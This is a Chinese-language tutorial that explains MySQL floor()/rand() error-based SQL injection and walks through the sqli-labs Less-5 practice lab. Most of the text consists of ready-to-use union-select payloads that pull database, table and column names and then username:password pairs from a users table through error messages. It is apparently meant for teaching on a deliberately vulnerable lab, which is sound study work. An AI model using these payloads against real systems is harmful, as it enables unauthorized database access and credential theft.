Floor报错注入理论及实战

rand()函数：随机返回0-1之间的小数

floor()函数：小数向下取证书。向上取整数ceiling()

concat_ws函数：将括号内数据用第一个字段连接起来

group by子句：分组语句，常用语结合统计函数，根据一个或多个列，对结果集进行分组

as：别名

count（）函数：汇总统计数量

limit：这里用于显示指定行数

?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,':',password) from users limit0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

rand函数（）

返回0-1之间的随机一个值

select rand() *2 #计算结果在0-2之间

select rand() from users;#根据users的行数随机显示结果

floor（）函数

小数向下取整数

---

concat_ws（）函数

将括号内数据用第一个字段连接起来

select concat_ws('-',(select database()),floor(rand()*2));

select concat_ws('-',(select database()),floor(rand()*2)) from users;

有多少用户就计算多少次，且结果随机

as别名，group by分组

select concat_ws('-',(select database()),floor(rand()*2)) as a from users group by a;

分组之前

分组之后

count（）函数

汇总统计数量

select count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from users group by a;

报错里面出现了dvwa-1，可以利用这个地方查询信息

select floor(rand())*2 from users;根据表users的行数随机显示0或1

select floor(rand(0)*2) from users;计算不再随机，而是按一定顺序排列

select floor(rand(1)*2) from users;

select count(*),concat_ws('-',(select database())),floor(rand(0)*2) as a from users group by a; #固定报错

select count(*),concat_ws('_',(select database()),floor(rand(1)*2)) as a from users goup by a;#固定不会报错

为什么写成0就会报错？

把count(*)去掉不再报错，说明是在统计时出现了错误

select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from users group by a;

select count(*),concat_ws('_',(select database()),floor(rand(0)*2)) as a from users group by a;

作用是让rand函数产生足够多次数的计算，一般使用行数比较多的默认数据表information_schema.tables

union select count(*),concat_ws('-',select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from users group by a;#floor报错注入 一次展现的字符串有64位。

本次注入的是sqli-labs的第五关

1.判断是字符型还是数字型

丢一个单引号，查看报错提示，可以看到是一个单引号闭合方式，加上单引号后面跟上--+注释掉。页面可以正常显示。

2.判断列数，使用order by函数的二分法方式

根据报错可以看出列数是3列

3.查询是否具有内容回显位置

无任何回显，无法根据页面正常显示的内容查询出我们所需要的信息

4.使用floor报错提示进行查询

开始构造SQL语句

union select 1,count(*),concat_ws('-',(database()),floor(rand(0)*2)) as a from information_schema.tables group by a --+

查询出数据库信息

现在已知数据库查询数据表，构造SQL语句

union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a --+

查询出数据表

已知数据表查询所有字段，构造SQL语句

union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2)) as a from information_schema.tables group by a --+

已知字段，查询字段内容

union select 1,count(*),concat_ws('-',(select group_concat(username,password) from security.users),floor(rand(0)*2)) as a from information_schema.tables group by a --+

使用group_concat无法正常显示，尝试使用concat函数

http://sqli-labs:8088/Less-5/?id=1' union select 1,count(*),concat_ws('-',(select concat(username,':',password) from security.users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

Subquery returns more than 1 row#查询返回一行以上，解决使用limit函数，从第0行开始，反馈1行

查询成功！